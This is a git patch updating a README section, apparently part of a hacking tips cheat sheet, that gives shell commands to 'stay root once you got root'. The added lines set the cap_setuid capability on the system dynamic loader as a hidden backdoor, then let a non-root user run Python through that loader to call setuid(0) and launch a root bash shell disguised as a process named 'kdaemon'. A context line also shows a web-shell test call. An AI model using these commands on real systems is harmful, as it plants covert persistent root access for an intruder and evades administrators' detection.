From 840a5cd1442ad9f723d161173444dd0fcd44efa5 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Mon, 17 Jun 2024 19:49:34 +0100 Subject: [PATCH] Update README.md --- README.md | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index a914dfe..8d892e8 100644 --- a/README.md +++ b/README.md @@ -1606,13 +1606,18 @@ curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id" Stay root once you got root ```bash -### Execute as root user -setcap cap_setuid+ep /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 +setcap cap_setuid+ep /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 2>/dev/null \ +|| setcap cap_setuid+ep /lib64/ld-2.17.so 2>/dev/null \ +|| echo >&2 "FAILED. File not found" ``` Become root ```bash ### Execute as non-root user -exec /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /usr/bin/python3 -c 'import os;os.setuid(0);os.execlp("bash", "kdaemon")' +p="python" +command -v python3 >/dev/null && p="python3" +[[ -f /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 ]] && l="/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2" +[[ -f /lib64/ld-2.17.so ]] && l="/lib64/ld-2.17.so" +exec "${l:?}" "$p" -c 'import os;os.setuid(0);os.execlp("bash", "kdaemon")' ```